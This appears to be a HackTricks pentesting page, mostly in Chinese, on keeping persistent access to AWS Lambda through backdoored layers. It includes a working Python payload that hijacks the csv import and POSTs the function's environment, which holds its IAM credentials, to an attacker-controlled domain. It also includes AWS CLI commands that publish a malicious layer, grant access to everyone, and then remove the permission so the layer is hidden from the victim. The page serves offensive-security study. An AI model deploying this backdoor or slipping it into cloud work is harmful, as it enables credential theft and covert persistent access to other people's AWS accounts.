AWS - Lambda Layers Persistence

支持 HackTricks

Lambda Layers

Lambda 层是一个 .zip 文件归档,可以包含额外的代码或其他内容。一个层可以包含库、自定义运行时、数据或配置文件。

每个函数最多可以包含 五个层。当你在一个函数中包含一个层时,内容会被提取到执行环境中的 /opt 目录。

默认情况下,你创建的 对你的 AWS 账户是 私有的。你可以选择 与其他账户共享 一个层或 该层 设为公共。如果你的函数使用了其他账户发布的层,即使该层被删除或你被撤销访问权限,你的函数仍然可以 继续使用该层版本。然而,你不能使用已删除的层版本创建新函数或更新函数。

作为容器镜像部署的函数不使用层。相反,当你构建镜像时,将你所需的运行时、库和其他依赖项打包到容器镜像中。

Python load path

Python 在 lambda 中使用的加载路径如下:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

检查 第二第三 位置lambda layers 解压其文件的目录占用情况: /opt/python/lib/python3.9/site-packages/opt/python

如果攻击者成功地 后门 一个被使用的 lambda layer添加一个 在加载常用库时会 执行任意代码layer,他将能够在每次 lambda 调用时执行恶意代码。

因此,要求是:

  • 检查 受害者代码 加载的库

  • 创建一个 带有 lambda layers 的代理库,该库将 执行自定义代码加载原始 库。

预加载的库

在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 被加载。我原本期待找到像 ossys 这样的库,但 甚至 json 库也被加载。 为了滥用这种持久性技术,代码需要 加载一个在代码执行时未加载的新库

使用这样的 python 代码,可以获得 lambda 中 python 运行时 预加载的库列表

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

这是列表(检查像osjson这样的库是否已经存在)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

这是lambda 默认包含的库列表:https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda 层后门

在这个例子中,假设目标代码正在导入**csv。我们将对csv库的导入进行后门处理**。

为此,我们将创建目录csv,并在其中放置文件**__init__.py,路径为lambda加载的路径:/opt/python/lib/python3.9/site-packages 然后,当lambda执行并尝试加载csv时,我们的__init__.py文件将被加载并执行**。 该文件必须:

  • 执行我们的有效载荷

  • 加载原始的csv库

我们可以通过以下方式实现这两者:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

然后,创建一个 zip 文件,包含路径 python/lib/python3.9/site-packages/__init__.py 中的代码,并将其添加为 lambda 层。

您可以在 https://github.com/carlospolop/LambdaLayerBackdoor 找到此代码。

集成的有效载荷将在 首次调用或在 lambda 容器重置后(代码更改或冷 lambda)发送 IAM 凭证到服务器,但 其他技术 也可以集成,如下所示:

外部层

请注意,可以使用 来自外部账户的 lambda 层。此外,即使没有权限,lambda 也可以使用来自外部账户的层。 还要注意,一个 lambda 最多可以有 5 个层

因此,为了提高此技术的灵活性,攻击者可以:

  • 在用户的现有层中植入后门(没有任何外部内容)

  • 他的账户中创建一个,给予受害者账户使用该层的访问权限配置受害者的 Lambda 中的移除权限

  • Lambda 仍然能够使用该层,而受害者将没有任何简单的方法来下载层代码(除了在 lambda 内部获取反向 shell)。

  • 受害者不会看到使用 aws lambda list-layers 的外部层。

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
支持 HackTricks

Last updated